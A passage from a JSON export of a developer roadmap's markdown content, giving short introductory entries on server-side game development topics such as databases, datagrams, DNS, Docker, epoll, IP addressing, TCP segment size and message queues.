    "content": "# Couchbase\n\nCouchbase is a NoSQL database technology that provides flexible data models suitable for server-side game development. It provides high-performance and easy scalability, offering a comprehensive platform for managing, manipulating and optimizing data in real-time. The technology behind Couchbase combines the powerful performance of key-value stores with the flexible querying capabilities of SQL-like querying systems. This makes it particularly valuable in gaming environments where performance and flexibility are crucial. Moreover, Couchbase also provides document database capabilities, allowing for complex documents to be stored in a format that can be easily manipulated for individual needs. With its high performance, flexible querying, and document database capabilities, Couchbase is a powerful tool for server-side game developers, and mastering it can significantly enhance your development capabilities."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/dal@dt_SmZuwklLimhupvjxC1.md",
    "content": "# DAL\n\nThe term **DAL** stands for **Data Access Layer**. It represents a layer of an application that simplifies the interaction with the persistent storage of data. Typically, the DAL is implemented in a separate module, package, or library in your application that directly communicates with the database, thereby enabling the application services and modules to invoke a simple API for CRUD operations (Create, retrieve, update, and delete database entries) and database transactions. The DAL helps maintain the application’s database schema and manage connections to the database. Popular libraries and frameworks like SQLAlchemy for Python, Sequelize for Node.js, and Hibernate for Java among others provide a robust DAL implementation. These tools abstract the lower-level details of the data source into a higher-level programming interface."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/data-clustering@XCJvgUSS7-oDR-XGdDY33.md",
    "content": "# Data Clustering\n\n`Data Clustering` refers to the process of segregating data into various groups or clusters. These organized subsets of data, or clusters, contain similar data points that exhibit common traits, attributes, or characteristics. Clustering is essentially a type of unsupervised machine learning where the data is unlabeled, and the algorithm identifies similarities to group them together. There are several methods used for data clustering including partitioning methods like K-means, hierarchical methods, density-based methods like DBSCAN, and grid-based methods. These methods differ based on how they form the clusters and the types of data they work best with. Data clustering aids in the organization of large amounts of data, making it easier for developers to handle, understand, and utilize in game development."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/data-transfer@5bJUcx3v4dpdlIsx7bFvK.md",
    "content": "# Data Transfer\n\nData transfer in server-side game development refers to the movement of data between the server and client or among various components of the server itself. Game data, such as player scores, game states, and updates, are frequently transferred to ensure a consistent and updated gaming environment. Various methods are used for data transfer, including RESTful APIs, websockets, and protocol buffers. The choice of method often depends on factors such as the size and type of data, the target platform, and the specific needs of the game. Remember, efficient and secure data transfer is essential for providing a smooth and engaging gaming experience."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/databases@FLFaGZDg2MSG6_YHnWETM.md",
    "content": "# Databases\n\nDatabases are structured sets of data. In terms of server-side game development, databases are extremely vital. They store information like user profiles, game states, rankings, and so much more. You have various types of databases to choose from such as relational databases (MySQL, PostgreSQL), NoSQL databases (MongoDB, Cassandra), and in-memory databases (Redis, Memcached). These databases have their own primary language for interaction, like SQL for relational databases. Most importantly, as a game developer, one needs to plan database schemas wisely to ensure efficient data retrieval and storage. Knowledge of indexing and a solid understanding of ACID (Atomicity, Consistency, Isolation, Durability) properties assists in developing robust game backends."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/datagram-construction@jnQAzUUnwpJgoRuRIFtSe.md",
    "content": "# Datagram Construction\n\nDatagram construction is a fundamental process in server-side game development, especially when dealing with UDP (User Datagram Protocol). In this context, a datagram is a basic transfer unit associated with a packet-switched network, which typically encompasses a header and payload data. The process of datagram construction involves encapsulating the specific game data (such as player position, game state, etc.) in the datagram payload and setting appropriate values in the datagram header such as Source and Destination IP addresses, Checksum and other protocol-specific values. Constructing and parsing datagrams correctly is crucial for ensuring reliable and efficient communication between the game server and clients."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/datagram@wD_HWc9YxPhlkilt585pg.md",
    "content": "# Datagram\n\nA **Datagram** is the basic unit of data transfer in network communication using protocols such as User Datagram Protocol (UDP). Each datagram operates independently of each other, meaning they may be received in a different order than they were sent, or they might not be received at all. Therefore, unlike TCP (Transmission Control Protocol), UDP does not guarantee that datagrams are delivered in the same order that they were sent, or even at all - hence known as connectionless protocol. However, it is faster and more efficient for applications that do not require delivery guarantees, such as voice over IP, live video broadcasts, and other real-time applications. Each datagram contains information about the sender, the intended recipient, and the data that it is intended to communicate along with its size and other specifications."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/deep-learning@jkWvfp4GqckYPQ48GtjlR.md",
    "content": "# Deep Learning\n\nDeep Learning is a subset of machine learning that imitates the workings of the human brain in processing data and creating patterns for decision-making. This technique utilizes multiple layers of algorithms (or neural networks) to process information. Deep learning involves training a model using large volumes of data and neural network architectures that contain many layers. A server-side game developer might use deep learning algorithms to create complex AI characters, improve game physics, or even analyze player data. Deep learning can be supervised, semi-supervised or unsupervised and it's extensively applied in various domains such as voice recognition, image recognition, natural language processing, etc. It is a crucial element for many modern AI applications."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/denial-of-service@TbXJO__4xSnzK1fvvJK86.md",
    "content": "# Denial of Service\n\nDenial of Service (DoS) is a malicious attempt to disrupt the regular functioning of a network, service, or server by overwhelming the network or server with a flood of internet traffic. The most common type of DoS attack involves flooding the target with unnecessary requests in an attempt to overload the system. In a Distributed Denial of Service (DDoS) attack, multiple computers are used to carry out the cyber attack. For servers, these attacks can significantly affect the availability and performance of games, causing a poor experience for the users."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/dependency-injection@uTlxyDOtvt_Qp0gXLWO-j.md",
    "content": "# Dependency Injection\n\n`Dependency Injection` (DI) is a programming technique that makes a class independent of its dependencies. This is achieved by decoupling the use of an object from its creation. In this technique, instead of a class creating an object itself, an object is supplied or \"injected\" to the class by an external entity. The actual creation and binding of dependencies are managed by a 'container', which injects the dependencies into the respective classes. Dependency Injection can be done in three ways: Constructor Injection, Setter Injection, and Interface Injection. Each of these methods involves moving the responsibility of the object creation and binding to another class or method."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/descriptor@OAyMj6uLSv1yJ87YAjyZu.md",
    "content": "# Descriptor\n\nIn the context of socket programming, a **descriptor** is simply an identifier for a resource. With the use of these descriptors, socket applications can interact with system resources such as network connections, files, or data streams. For instance, in C-based languages such as C++, socket programming frequently makes use of file descriptors. These are integer values used by the operating system to identify open files and network sockets. It is crucial for a server-side game developer to understand and make efficient use of descriptors to control and manage all the network protocols, ensuring seamless game experiences."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/design-patterns@gB-TYpgUDV47bxznNJhYn.md",
    "content": "# Design Patterns\n\nDesign Patterns represent best practices developed by experienced software engineers. They are reusable solutions to common problems that occur in software design and fulfill the requirement to decouple the system as much as possible. Design patterns categorize into Creational, Structural, and Behavioural types. Creational type includes patterns like Singleton, Prototype and Factory; Structural includes Adapter, Composite, and Proxy; Behavioural includes Observer, Strategy, Template, and Visitor. Every design pattern has its own particular structure defined that programmers can follow to solve a particular design problem in your programming code."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/determinism@zFx1jjt1hKgCpYHFTzbZZ.md",
    "content": "# Determinism\n\n\"Determinism\" in the context of server side game development is a principle that highlights predictability and consistency in the system's output given specific and consistent inputs. It implies that a system will always produce the same outcome if the initial conditions and the sequence of events leading up to the outcome are identical. Determinism is incredibly important and beneficial in multi-player gaming situations like MMORPGs where synchronized and equal gameplay across all user instances is key. This level of predictability helps in offering a fair play environment to all players and in ease of debugging and replaying certain sequences for the developers."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/dhcp@aTHJh-xw8soCxC1bIDdXm.md",
    "content": "# DHCP\n\nDHCP, or Dynamic Host Configuration Protocol, is an internet protocol that enables automatic assignment of IP addresses to devices on a network. Its key role in network systems is to eliminate the manual task of assigning IP addresses in a large network. DHCP can be implemented in small, medium, or large networks encompassing hundreds of computers or even more. It involves a DHCP server, which is responsible for allocating IP addresses and controlling the process. This server maintains a pool of IP addresses, which it assigns to devices as they connect to the network. DHCP also handles release and renewal of these IP addresses as devices leave and rejoin the network."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/dns@yNytLrQAMKBw4t73YRL3J.md",
    "content": "# DNS\n\n**Domain Name System (DNS)** is an internet service that translates domain names into IP addresses. The internet uses IP addresses to locate and connect different computers, but these numerical addresses can be difficult to remember or use practically. Therefore, DNS allows users to type in a domain name, such as www.example.com, and it translates this name into the equivalent IP address, such as 192.0.2.1. It is used every time you visit a website, send an email, or connect to any service on the internet. DNS serves as the internet's phone book, ensuring that every domain name corresponds to the correct IP address."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/docker-compose@yAf7VDX7dyaT5AdlNnuKD.md",
    "content": "# Docker Compose\n\n`Docker Compose` is a tool that allows you to define and manage multiple containers as a single entity. The containers are defined in a `docker-compose.yml` file using a YAML format. This tool is primarily focused on the runtime aspects of your application such as service definitions, configuration, and connections. With `Docker Compose`, you can start, stop, and manage the entire stack of services with a single command. This makes it a very powerful tool for managing multi-container applications. It is also a good method to define a local development environment that mimics your production environment."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/docker@zW_7VLeEHQp8fp_f5N__0.md",
    "content": "# Docker\n\n\"Docker\" is an open-source platform that allows developers to automate the deployment, scaling, and management of applications. It uses containerization technologies to wrap up an application with its runtime environment into a container, which can then be run on almost any operating system. Docker containers are lightweight and fast because they do not need the extra load of a hypervisor, but run directly within the host machine's kernel. Additionally, Docker ensures that the application runs seamlessly in any environment by bundling its own software, libraries and system tools. Docker really simplifies the process of managing and deploying services in a distributed environment and breaking down tasks into separate services."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/dump-analysis@1c6EqGv1g-d8M1i0vKImb.md",
    "content": "# Dump Analysis\n\n**Dump Analysis** is a highly useful technique in server-side game development, primarily used for debugging and troubleshooting. It involves studying the 'dump' or all the information within a system when a program crashes or fails. This dump typically includes the system's memory, the active processes, thread stacks, and more. By analyzing this data, developers can get an insight into what caused the failure. Dump analysis can be manual, using debuggers like WinDbg, lldb, gdb, or automated with tools such as Microsoft's Automatic Debugging Tool (ADPlus) and DebugDiag. Note that the complexity of dump analysis can vary depending on the nature of the program crash or the size of the dump."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/dynamodb@9vc7sFE_XakYXtKRMxLXi.md",
    "content": "# Dynamo DB\n\nDynamoDB is a NoSQL database service provided by Amazon that delivers reliable performance at any scale. It's a fully managed, multiregion, multimaster database that offers built-in security, backup and restore, and in-memory caching. It's meant to support applications with large scale, low latency requirements. Developers can create database tables that can store and fetch any amount of data and can serve traffic from a few requests per month to millions of requests per second. As a part of AWS, DynamoDB integrates well with other AWS services and provides developers with high availability across multiple geographical regions."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/epoll@qaWv4gxnnj3uX8lEm9KQ4.md",
    "content": "# epoll  \n\n**epoll** is a high-performance I/O event notification system in Linux, essential for handling \nlarge-scale asynchronous network operations in server-side game development. Unlike `select` \nor `poll`, it uses an event-driven model, reducing CPU overhead and improving scalability. \nGame servers leverage `epoll` to efficiently manage thousands of concurrent connections, \nresponding only when events occur, minimizing system calls, and optimizing resource \nusage—making it ideal for multiplayer games and real-time applications.\n\nVisit the following resources to learn more:\n\n- [@documentation@Linux epoll API](https://man7.org/linux/man-pages/man7/epoll.7.html)  \n- [@article@Understanding epoll for Scalable Network Servers](https://medium.com/@copyconstruct/the-method-to-epolls-madness-d9d2d6378642)\n- [@article@epoll vs select vs poll](https://devarea.com/linux-io-multiplexing-select-vs-poll-vs-epoll/)"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/erlang@QGtGx5LBEWa1DD3Y7ztUy.md",
    "content": "# Erlang\n\nErlang is a functional, general-purpose concurrent programming language that supports distributed computation. It originated in the late 1980s, born from Ericson Inc., with the aim to improve the development of telephony applications. Erlang has built-in support for concurrency, distribution and fault tolerance which make it a popular choice for developing large scale, real-time systems. The language is mostly used in sectors where systems must continue to work despite errors, such as banking, eCommerce, computer telephony and instant messaging. Over the years, Erlang has been employed in blockchain development, internet of things (IoT) and online gaming programming where robust server-side development is required."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/error-detection@vFM311xSa5OqNVove2f6j.md",
    "content": "# Error Detection  \n\n**Error detection** ensures data integrity in `TCP-based` communication, preventing corrupted \nor altered packets from disrupting server-side game interactions. `TCP` uses checksums to verify\ndata integrity, detecting bit errors during transmission. If an error is found, the corrupted \npacket is discarded, and retransmission is requested via acknowledgments (ACKs). Additional \nmechanisms such as cyclic redundancy check (CRC) and parity checks may be used in lower \nnetwork layers to enhance reliability. Effective error detection minimizes data corruption \nin multiplayer games, ensuring smooth gameplay and synchronization across players.\n\nVisit the following resources to learn more:\n\n- [@article@Error Detection Code – Checksum](https://www.geeksforgeeks.org/error-detection-code-checksum/)  \n- [@article@Error Control in TCP](https://www.cisco.com/c/en/us/support/docs/ip/tcp/13733-40.html)"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/fiber@TVJrlUsg30YIM1yjsZfJI.md",
    "content": "# Fiber\n\n`Fiber` is a way to manage concurrency at a more granular level than threads. While threads represent a sequence of instructions that can run concurrently with other threads, a fiber is a unit of execution which only runs on its initiating thread. Fibers are scheduled by the application, not the operating system. They are great tools for implementing co-operative multitasking where you have many tasks that you want to have run concurrently, but you want to have explicit control on when they are switched in and out. For server-side game development, fibres can be particularly useful in dealing with multiple user requests, where each request might have its own fiber."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/flow-control@lDVD-3i64Mk7-KPJrXmFH.md",
    "content": "# Flow Control\n\n**Flow control** is a crucial mechanism in `TCP` that regulates data transmission between a sender \nand a receiver to prevent network congestion and packet loss. In server-side game development,\neffective flow control ensures smooth data transfer, reducing latency and improving real-time \nresponsiveness for multiplayer games. `TCP` uses techniques like sliding window protocols, where \nthe receiver dictates how much data it can handle at a time, preventing buffer overflows. \nAdditionally, congestion control algorithms like `TCP Reno` and `CUBIC` help dynamically adjust \ntransmission rates based on network conditions. Proper flow control tuning is essential for \nmaintaining stable connections, minimizing lag, and optimizing server performance in \nhigh-traffic gaming environments.  \n\nVisit the following resources to learn more:\n\n- [@article@How Flow Control is Achieved in TCP?](https://datatracker.ietf.org/doc/html/rfc5681)  \n- [@article@Flow Control vs. Congestion Control in TCP](https://www.baeldung.com/cs/tcp-flow-control-vs-congestion-control)\n- [@article@TCP Flow Control](https://www.sanfoundry.com/computer-network-tcp-flow-control/)"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/frp@xDYOvIbXc-iJ2zOKqe0YL.md",
    "content": "# FRP\n\n`Functional Reactive Programming (FRP)` is an approach to programming that combines functional and reactive concepts, mainly used in front-end and server-side development especially in games. FRP helps to deal with dependent changes, effectively handling 'time-varying values'. It is the elegant solution to describe systems where the current state depends on the future or the past state in a clear and efficient way. Its major concepts include streams (sequences of events over time), observers (consumers of values from a stream), and observables (producers of values), which are the heart of the FRP system. Through these characteristics, it manages data flows and propagation of change making software logic more readable and easier to understand."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/function@YPvm8XD_FaFYCQ-b7-KsH.md",
    "content": "# Function\n\nIn server-side game development, functions are a fundamental building block of programming. These are reusable pieces of code designed to perform a particular task. Developers create functions to streamline code, improve readability, and enhance the efficiency of their program. Functions can take parameters as input and return a result. The syntax for declaring a function varies from one programming language to another. However, the basic structure remains the same. It usually starts with a function keyword, followed by the function name and parentheses `()`. Inside these parentheses, we can pass parameters. These parameters are then utilized within the function's body enclosed within curly brackets `{}`. The outputs are typically returned using a return statement. Remember, each function should ideally perform one task, and the function name should accurately represent its purpose to make the code self-explanatory."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/functional-programming@HXSWvhgT4L5w6xgOO-3kj.md",
    "content": "# Functional Programming\n\n`Functional programming` is a programming paradigm that treats computation as the evaluation of mathematical functions and avoids changing-state and mutable data. In functional programming, functions are first-class citizens. This means that functions can be passed as arguments to other functions, returned as values from other functions, and assigned to variables. Examples of functional programming languages include Haskell, Lisp, and Scala. At the heart of functional programming are the concepts of immutability and pure functions. A pure function is a function that provides the same output for the same input and has no side effects. Immutability avoids changes to variables or objects once they've been created, which makes functional programs easier to debug and test.\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/future--promises@zbIbPlqTNSbJUkqH9iLQv.md",
    "content": "# Future & Promises\n\n`Futures and promises` or simply `Promises` in programming is a pattern used for handling asynchronous operations. A `Promise` is an object that might produce a single value or error in the future either through a non-blocking way or in an asynchronous way. A `Promise` has three states - pending, resolved (success), and rejected (error). The Promise transitions from the Pending state to either an accomplished Resolved state, or Rejected state. These status changes are irreversible, meaning once the Promise reaches either Resolved or Rejected state, it cannot transition to any other state.\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/gcp@wD6dUrS-tP2gpCHPghFp5.md",
    "content": "# Google Cloud Platform\n\n**Google Cloud Platform (GCP)** is a suite of public cloud computing services offered by Google. It provides a range of services including compute, storage, networking, Big Data, machine learning, and the internet of things (IoT), plus cloud management, security, and developer tools. The core cloud computing products in GCP consist of Google Compute Engine, Google App Engine, Google Container Engine, Google Cloud Storage, and Google Cloud SQL. Google also offers cloud services for source code management, load balancing, security and privacy, and more. The architecture of GCP is built on the same infrastructure that Google uses for its global products such as YouTube, Google Search, and Google Maps."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/go@d5iQYn97vuoxJnCFGPdOa.md",
    "content": "# Go"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/goroutine-go@f-L_eaZd0EjBW9-n9Pllt.md",
    "content": "# goroutine (Go)\n\n`Goroutine` is a lightweight thread managed by the Go runtime. They are functions or methods that run concurrently with other functions or methods in the Go programming language. Goroutines are cheaper than threads as they use less memory, and their creation and destruction are more efficient in terms of performance. Unlike threads in other languages, the Go runtime manages the scheduling of Goroutines, taking a lot of the complexities away from the developer. Goroutines are one of the unique features of Go, making it an excellent choice for concurrent programming, especially useful in server-side game development."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/grpc@_uqTTBUYAzDHbEUkDzmzg.md",
    "content": "# gRPC\n\n`gRPC` (Google Remote Procedure Call) is a high-performance, open-source universal RPC framework designed by Google. The gRPC framework supports a wide range of languages, and it is based on the proto3 protocol buffer (protobuf) language. It uses Protocol Buffers as the interface definition language for defining the method parameters service and return types. gRPC is designed to work over a variety of different pluggable transports and also supports load balancing, tracing, health checking and authentication. It's functionality is particularly suited for point-to-point services within a microservice architecture."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/heavy-vs-lightweight@OYXKtl4A-vaK6yGO6hS6n.md",
    "content": "# Heavyweight vs Lightweight\n\nTCP (Transmission Control Protocol) is often described as a \"heavyweight\" protocol because it provides numerous features such as error-checking, guaranteed delivery, and order-of-arrival of data packets, which makes it more complex to implement in the server. This complexity results in additional server load, making it heavier in terms of processing resources and system requirements. \n\nOn the other hand, UDP (User Datagram Protocol) is known as a \"lightweight\" protocol. It is simpler and faster because it does not offer the same extensive features as TCP. UDP does not guarantee delivery, does not require initial handshake establishment between communicating systems, and does not put data packets in order, thereby reducing the computation and rendering it lightweight."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/io_uring@YH7u1FKh85wz78J0stuzS.md",
    "content": "# io_uring\n\n**io_uring** is a modern asynchronous I/O framework introduced in Linux 5.1, designed to \nprovide high-performance, low-latency I/O operations. It is widely used in server-side game \ndevelopment to efficiently handle network and disk operations, making it ideal for real-time \nmultiplayer games. Unlike `epoll` or traditional polling mechanisms, `io_uring` minimizes \nsystem calls by using a shared memory ring buffer between the kernel and user space, reducing \ncontext switching overhead. This results in improved scalability and responsiveness, allowing \ngame servers to handle thousands of concurrent connections with minimal CPU usage.  \n\nVisit the following resources to learn more:\n\n- [@documentation@Linux io_uring_enter](https://man7.org/linux/man-pages/man2/io_uring_enter.2.html)\n- [@article@Efficient Networking with io_uring](https://lwn.net/Articles/776703/)"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/iocp@7pgdOZomhGilBTwfJLMbm.md",
    "content": "# IOCP (I/O Completion Ports)  \n\n**I/O Completion Ports (IOCP)** is a high-performance asynchronous I/O mechanism in Windows, \ndesigned to efficiently handle large numbers of concurrent network connections. It is widely \nused in server-side game development to optimize networking performance, making it ideal for \nMMORPGs and real-time multiplayer games. Unlike `select` or `WSA-Poll`, IOCP uses a thread \npool and a queue-based event system to process completed I/O operations asynchronously, \nminimizing CPU overhead and improving scalability. By leveraging IOCP, game servers can \nefficiently handle thousands of connections with minimal latency, making it the preferred \nchoice for high-performance Windows-based game networking.  \n\nVisit the following resources to learn more:\n\n- [@documentation@Microsoft IOCP Documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports)  "
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/ip-addressing@3ZcJNDCHw2pFzewmoB-03.md",
    "content": "# IP Addressing\n\nIP (Internet Protocol) addressing is a fundamental aspect of networking, at the core of interaction between systems in a network. Each device connected to a network must have a unique address, known as an IP address, to communicate with other devices. In version 4 of the IP protocol (IPv4), these addresses are usually represented as four numbers, each ranging from 0 to 255, separated by periods (e.g., 192.168.1.1). The newer standard, IPv6, introduced to deal with the shortage of available IPv4 addresses, employs a more complex notation using hexadecimal numbers and colons. However, the purpose remains the same: to uniquely identify each device on a network. IP addresses can be either static (permanently assigned to a device) or dynamic (assigned temporarily from a pool of addresses)."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/ip@tg94V7K0mgYhpkUMp_Scv.md",
    "content": "# IP\n\n**Internet Protocol (IP)** is the primary method used to send and receive messages on the internet. It's a set of rules that dictate how data should be delivered over the internet. An IP address is a unique string of numbers separated by periods that identifies each device using the Internet Protocol to communicate over a network. There are two types: IPv4 and IPv6. IPv4, the most common, consists of four groups of numbers, each ranging from 0 to 255. For example, \"192.168.0.1\". On the other hand, IPv6, the next-generation protocol, provides about 340 undecillion addresses, ensuring the ability to provide unique IPs for every device on the planet. For instance, \"2001:0db8:85a3:0000:0000:8a2e:0370:7334\". Each IP address can be static (permanent) or dynamic (changeable), depending on your network configurations."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/ipv4@pHVB0K8Vtk3ToD6n_f1wv.md",
    "content": "# IPv4\n\n`IPv4`, or Internet Protocol Version 4, is the fourth version of IP (Internet Protocol). It's a foundational protocol that routes most of the Internet traffic today, even with the growing reach of IPv6. `IPv4` is responsible for identifying devices on a network through an addressing system. The `IPv4` uses a 32-bit address schema allowing for a total of just over 4 billion addresses. Most importantly, `IPv4` determines how data is sent and received over network devices. This standard of `IPv4` helps to route data between networks and has been foundational in the creation of the modern Internet."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/ipv6@TqBlAMfhARhlJed6xD7eg.md",
    "content": "# IPv6\n\nIPv6, which stands for Internet Protocol version 6, is the most recent version of the Internet Protocol (IP), formulated to rectify the impending issue of IPv4 address exhaustion. Unlike IPv4, which uses 32-bit address, IPv6 employs a 128-bit address, enabling a massive number of unique IP addresses to exist. This augments the capacity of the internet to accommodate an array of networks and devices, serving as a sustainable solution for an ever-expanding digital world. IPv6 also provides enhanced functionalities including simplified header format, improved support for extensions and options, built-in security using IPsec, and better support for QoS (Quality of Service). In server side game development, IPv6 ensures smooth and lag-free game experiences to players by enabling direct peer-to-peer connections."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/java@LG8JPL1po-gEs1V5JyC8F.md",
    "content": "# Java\n\nJava is an object-oriented programming language that is class-based and designed to have as few implementation dependencies as possible. It was originally developed by James Gosling at Sun Microsystems and released in 1995 as a core component of Sun Microsystems' Java platform. The language's syntax has much in common with C and C++, but its object model is simpler and has less low-level facilities. Java applications are typically compiled to bytecode that can run on any Java Virtual Machine (JVM), making Java applications highly portable. Java is a general-purpose programming language and is used widely for server-side applications, particularly in high-performance environments where speed and scalability are critical."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/javascript@ufufnULqsglE5VhEIAdSI.md",
    "content": "# JavaScript\n\nJavaScript (often abbreviated as JS) is a high-level, interpreted programming language that conforms to the ECMAScript specification. It plays a key role in web development as it is one of the three core languages of the World Wide Web, along with HTML and CSS. In server-side game development, JavaScript can be utilized through runtime environments such as Node.js. Over the years, JavaScript has evolved to incorporate additional features, such as support for object-oriented and functional programming styles. It is dynamically-typed, and supports event-driven programming, which is especially handy in game development for handling user inputs and system events. Despite its name, JavaScript is not related to Java."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/json@y0ZJQQfi8Qx6sB4WnZlP5.md",
    "content": "# JSON\n\n**JSON (JavaScript Object Notation)** is a lightweight data-interchange format that is easy to read and write for humans, also easy to parse and generate for machines. JSON is a text format that is completely language independent but uses conventions familiar to programmers of the C family of languages, including C, C++, C#, Java, JavaScript, Perl, and Python. In JSON, data is organized in name-value pairs and array data types. It is commonly used for transmitting data in server to web applications and vice versa."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/kqueue@caK32NMMrn-3BGAXZoPPr.md",
    "content": "# kqueue  \n\n**kqueue** is an efficient event notification system available on BSD-based operating systems, \nincluding macOS and FreeBSD. It is designed to handle large numbers of concurrent connections \nwith minimal CPU overhead, making it well-suited for server-side game development. Similar \nto `epoll` on Linux, `kqueue` operates in an event-driven manner, allowing game servers to \nefficiently manage network events, timers, and file system changes. By reducing unnecessary \npolling and system calls, `kqueue` helps improve the scalability and responsiveness of \nmultiplayer game servers, ensuring low-latency interactions and optimized resource usage.  \n\nVisit the following resources to learn more:\n\n- [@documentation@FreeBSD kqueue Documentation](https://man.freebsd.org/cgi/man.cgi?query=kqueue)  \n- [@documentation@macOS kqueue API Reference](https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man2/kqueue.2.html)"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/kubernetes@lUBUUoETjfADmM4OPtwwX.md",
    "content": "# Kubernetes\n\nKubernetes, often referred to as K8s, is an open-source platform designed to automate deploying, scaling, and operating application containers. It organizes containers into clusters to provide a flexible, powerful foundation for distributed systems. The platform was originally developed by Google, drawing on their long experience with managing containerized applications. It groups an application's containers into logical units for easy management and discovery. Kubernetes offers features like automatic bin packing, horizontal scaling, automated rollouts and rollbacks, and storage orchestration, among many others. It supports a variety of underlying infrastructures, from physical servers to virtual machines and cloud-based deployments, allowing you to run your apps wherever and however you choose."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/link-capacity@OzY-LPcfj1sBm_0F0WbIJ.md",
    "content": "# Link Capacity\n\nLink capacity, also known as bandwidth, refers to the maximum amount of data that can be transmitted over a network link within a given period of time. It is usually measured in bits per second (bps), kilobits per second (Kbps), megabits per second (Mbps), gigabits per second (Gbps), or terabits per second (Tbps). The link capacity is a critical factor in determining the throughput and latency of a server, impacting the overall performance and efficiency of the network communication. Please note that link capacity can be affected by various factors such as the quality of the transmission medium, the distance between the source and destination, and the network congestion."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/max-segment-scaling@1l5dhQWYPhUSg-cy5pSlK.md",
    "content": "# Max Segment Scaling\n\n`Max Segment Scaling (MSS)` is a TCP feature that defines the maximum amount of data that can be received in a single TCP segment. It is specified during the TCP connection establishment phase. The MSS is calculated as the data link layer Maximum Transmission Unit (MTU) minus the size of the TCP and IP headers. The mechanism helps to avoid fragmentation at the IP layer, ensuring the data packets sent are optimal for the network path taken, preventing potential transmission inefficiencies or packet loss issues."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/max-segment-size@w6ysmcsBn9jJ8xMvg7hcD.md",
    "content": "# Max Segment Size (MSS)  \n\n**Max Segment Size (MSS)** is a crucial concept in `TCP` networking, representing the largest \namount of data that can be sent in a single `TCP` segment, excluding the `TCP` header. `MSS` is \nvital for optimizing performance in server-side game development, as it helps to avoid \nfragmentation and ensures that data is transmitted efficiently over the network. By adjusting \nthe `MSS`, game servers can minimize packet fragmentation, which can lead to increased latency \nand reduced throughput. Typically, `MSS` is determined during the `TCP` handshake based on the \nmaximum transmission unit (MTU) of the network, and it can be configured to suit the needs of \nspecific applications or networks. Optimizing `MSS` can improve the overall reliability and \nperformance of data transfers, especially in multiplayer games where real-time communication \nand high throughput are essential.\n\nVisit the following resources to learn more:\n\n- [@article@RFC 879 - Maximum Segment Size](https://tools.ietf.org/html/rfc879)  \n- [@article@What is MSS (maximum segment size)?](https://www.cloudflare.com/learning/network-layer/what-is-mss/)  \n- [@documentation@TCP Maximum Segment Size tuning](https://www.ibm.com/docs/en/aix/7.2?topic=tuning-tcp-maximum-segment-size)"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/memcached@ayeezKxQkXAPJMTShsOBU.md",
    "content": "# Memcached\n\n`Memcached` is a high-performance, distributed memory object caching system that is generic in nature, but intended for use in speeding up dynamic web applications by alleviating database loads. It does this by storing data and objects in dynamic memory to reduce the frequency with which an external data source must be read. `Memcached` is fundamentally a key-value store that operates over the network. It uses a client–server architecture where the servers maintain a common view of the data set. The clients are responsible for partitioning data and determining to which servers data items are to be written or from which servers they are to be read."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/message-queues@cw7WdFfL5HpeZ_n8wYk2t.md",
    "content": "# Message Queues\n\nMessage queues are a fundamental element of server-side game development, primarily used for communication and data exchange between different processes, threads, or microservices. A message queue operates on the principle of first-in, first-out (FIFO). In the typical process, a sender submits messages to the queue, and receivers extract messages from the queue. This mechanism ensures seamless coordination between different parts of a system performing at different speeds and allows asynchronous information exchange. Features such as persistence, delivery acknowledgement, prioritization, and scheduling are commonly associated with message queues. Different technologies support message queues including RabbitMQ, Apache Kafka, and AWS SQS among others. The choice of the appropriate message queue technology can depend on specific requirements, such as the relevant programming language and the expected size and rate of message traffic."
  },
  {
